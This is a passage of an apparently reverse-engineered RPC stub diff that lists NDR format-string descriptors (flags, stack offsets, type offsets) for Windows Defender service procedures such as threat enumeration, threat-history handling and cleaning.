Flags: new corr desc, */ +/* 724 */ NdrFcShort( 0x0 ), /* 0 */ +/* 726 */ NdrFcShort( 0x0 ), /* 0 */ +/* 728 */ NdrFcShort( 0x0 ), /* 0 */ +/* 730 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 732 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 734 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 736 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 738 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 740 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 742 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 744 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 746 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 748 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc13_ServerMpOnDemandThreatOpen */ + +/* 750 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 752 */ NdrFcLong( 0x0 ), /* 0 */ +/* 756 */ NdrFcShort( 0xd ), /* 13 */ +/* 758 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 760 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 762 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 764 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 766 */ NdrFcShort( 0x24 ), /* 36 */ +/* 768 */ NdrFcShort( 0x5c ), /* 92 */ +/* 770 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 772 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 774 */ NdrFcShort( 0x0 ), /* 0 */ +/* 776 */ NdrFcShort( 0x0 ), /* 0 */ +/* 778 */ NdrFcShort( 0x0 ), /* 0 */ +/* 780 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 782 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 784 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 786 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 788 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 790 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 792 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_2 */ + +/* 794 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 796 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 798 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 800 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 802 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 804 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc14_ServerMpOnDemandThreatEnum */ + +/* 806 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 808 */ NdrFcLong( 0x0 ), /* 0 */ +/* 812 */ NdrFcShort( 0xe ), /* 14 */ +/* 814 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 816 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 818 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 820 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 822 */ NdrFcShort( 0x24 ), /* 36 */ +/* 824 */ NdrFcShort( 0x24 ), /* 36 */ +/* 826 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 828 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 830 */ NdrFcShort( 0x1 ), /* 1 */ +/* 832 */ NdrFcShort( 0x0 ), /* 0 */ +/* 834 */ NdrFcShort( 0x0 ), /* 0 */ +/* 836 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 838 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 840 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 842 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 844 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 846 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 848 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 850 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 852 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 854 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 856 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 858 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 860 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc15_ServerMpOnDemandThreatClose */ + +/* 862 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 864 */ NdrFcLong( 0x0 ), /* 0 */ +/* 868 */ NdrFcShort( 0xf ), /* 15 */ +/* 870 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 872 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 874 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 876 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 878 */ NdrFcShort( 0x5c ), /* 92 */ +/* 880 */ NdrFcShort( 0x5c ), /* 92 */ +/* 882 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 884 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 886 */ NdrFcShort( 0x0 ), /* 0 */ +/* 888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 890 */ NdrFcShort( 0x0 ), /* 0 */ +/* 892 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 894 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 896 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 898 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 900 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 904 */ NdrFcShort( 0x520 ), /* Type Offset=1312 */ + + /* Parameter arg_2 */ + +/* 906 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 908 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 910 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 912 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 914 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 916 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc16_ServerMpScanOpenThreatHistory */ + +/* 918 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 920 */ NdrFcLong( 0x0 ), /* 0 */ +/* 924 */ NdrFcShort( 0x10 ), /* 16 */ +/* 926 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 928 */ NdrFcShort( 0x10 ), /* 16 */ +/* 930 */ NdrFcShort( 0x5c ), /* 92 */ +/* 932 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 934 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 936 */ NdrFcShort( 0x0 ), /* 0 */ +/* 938 */ NdrFcShort( 0x0 ), /* 0 */ +/* 940 */ NdrFcShort( 0x0 ), /* 0 */ +/* 942 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 944 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 946 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 948 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 950 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 952 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 954 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 956 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 958 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 960 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_4 */ + +/* 962 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 964 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 966 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 968 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 970 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 972 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc17_ServerMpScanEnumerateThreatHistory */ + +/* 974 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 976 */ NdrFcLong( 0x0 ), /* 0 */ +/* 980 */ NdrFcShort( 0x11 ), /* 17 */ +/* 982 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 984 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 986 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 988 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 990 */ NdrFcShort( 0x24 ), /* 36 */ +/* 992 */ NdrFcShort( 0x24 ), /* 36 */ +/* 994 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 996 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 998 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1000 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1002 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1004 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1006 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1008 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1010 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1012 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1014 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1016 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_2 */ + +/* 1018 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1020 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1022 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1024 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1026 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1028 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc18_ServerMpScanEnumerateDetectionHistory */ + +/* 1030 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1032 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1036 */ NdrFcShort( 0x12 ), /* 18 */ +/* 1038 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1040 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1042 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1044 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1046 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1048 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1050 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1052 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1054 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1056 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1058 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1060 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1062 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1064 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1066 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1068 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1070 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1072 */ NdrFcShort( 0x524 ), /* Type Offset=1316 */ + + /* Parameter arg_2 */ + +/* 1074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1082 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc19_ServerMpScanCloseThreatHistory */ + +/* 1086 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1092 */ NdrFcShort( 0x13 ), /* 19 */ +/* 1094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1096 */ 0x30, /* FC_BIND_CONTEXT */ + 0xe0, /* Ctxt flags: via ptr, in, out, */ +/* 1098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1100 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1102 */ NdrFcShort( 0x38 ), /* 56 */ +/* 1104 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1106 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1108 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1114 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1116 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1118 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */ +/* 1120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1122 */ NdrFcShort( 0xc4 ), /* Type Offset=196 */ + + /* Parameter arg_2 */ + +/* 1124 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1126 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1128 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1130 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1132 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1134 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc20_ServerMpScanDeleteThreatHistory */ + +/* 1136 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1138 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1142 */ NdrFcShort( 0x14 ), /* 20 */ +/* 1144 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1146 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 1148 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1150 */ NdrFcShort( 0x8 ), /* 8 */ +/* 1152 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1154 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 1156 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1158 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1160 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1162 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1164 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1166 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1168 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1170 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1172 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1174 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1176 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1178 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1180 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1182 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc21_ServerMpRpcCleanOpen */ + +/* 1184 */ 0x33, /* FC_AUTO_HANDLE */ + 0x48, /* Old Flags: */ +/* 1186 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1190 */ NdrFcShort( 0x15 ), /* 21 */ +/* 1192 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 1194 */ NdrFcShort( 0x10 ), /* 16 */ +/* 1196 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1198 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 1200 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 1202 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1204 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1206 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1208 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 1210 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1212 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1214 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1216 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 1218 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1220 */ NdrFcShort( 0x552 ), /* Type Offset=1362 */ + + /* Parameter arg_3 */ + +/* 1222 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1224 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1226 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 1228 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1230 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1232 */ NdrFcShort( 0xbc ), /* Type Offset=188 */ + + /* Parameter arg_5 */ + +/* 1234 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1236 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1238 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1240 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1242 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1244 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc22_ServerMpRpcScanCleanOpen */ + +/* 1246 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1248 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1252 */ NdrFcShort( 0x16 ), /* 22 */ +/* 1254 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1256 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1258 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1260 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1262 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1264 */ NdrFcShort( 0x5c ), /* 92 */ +/* 1266 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 1268 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 1270 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1272 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1274 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1276 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1278 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1280 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1282 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1284 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ +/* 1286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1288 */ NdrFcShort( 0x552 ), /* Type Offset=1362 */ + + /* Parameter arg_2 */ + +/* 1290 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */ +/* 1292 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1294 */ NdrFcShort( 0x402 ), /* Type Offset=1026 */ + + /* Parameter arg_3 */ + +/* 1296 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1298 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1300 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1302 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1304 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1306 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc23_ServerMpRpcCleanStart */ + +/* 1308 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1310 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1314 */ NdrFcShort( 0x17 ), /* 23 */ +/* 1316 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 1318 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1322 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1324 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1326 */ NdrFcShort( 0x68 ), /* 104 */ +/* 1328 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 1330 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1332 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1334 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1336 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1338 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1340 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1344 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1350 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1352 */ NdrFcShort( 0x4112 ), /* Flags: must free, out, simple ref, srv alloc size=16 */ +/* 1354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1356 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_3 */ + +/* 1358 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1362 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1364 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1368 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc24_ServerMpRpcCleanControl */ + +/* 1370 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1372 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1376 */ NdrFcShort( 0x18 ), /* 24 */ +/* 1378 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1380 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1382 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1384 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1386 */ NdrFcShort( 0x2c ), /* 44 */ +/* 1388 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1390 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x4, /* 4 */ +/* 1392 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 1394 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1396 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1398 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1400 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1402 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1404 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1406 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1408 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 1410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1412 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 1414 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 1416 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 1418 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 1420 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 1422 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 1424 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc25_ServerMpRpcCleanThreatsNotification */ + +/* 1426 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 1428 */ NdrFcLong( 0x0 ), /* 0 */ +/* 1432 */ NdrFcShort( 0x19 ), /* 25 */ +/* 1434 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 1436 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 1438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1440 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 1442 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1444 */ NdrFcShort( 0x24 ), /* 36 */ +/* 1446 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 1448 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 1450 */ NdrFcShort( 0x1 ), /* 1 */ +/* 1452 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 1456 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 1458 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 1460 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 1462 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 1464 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 1466 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 1468 */ NdrFcShort( 0xcc ), /* Type Offset=204 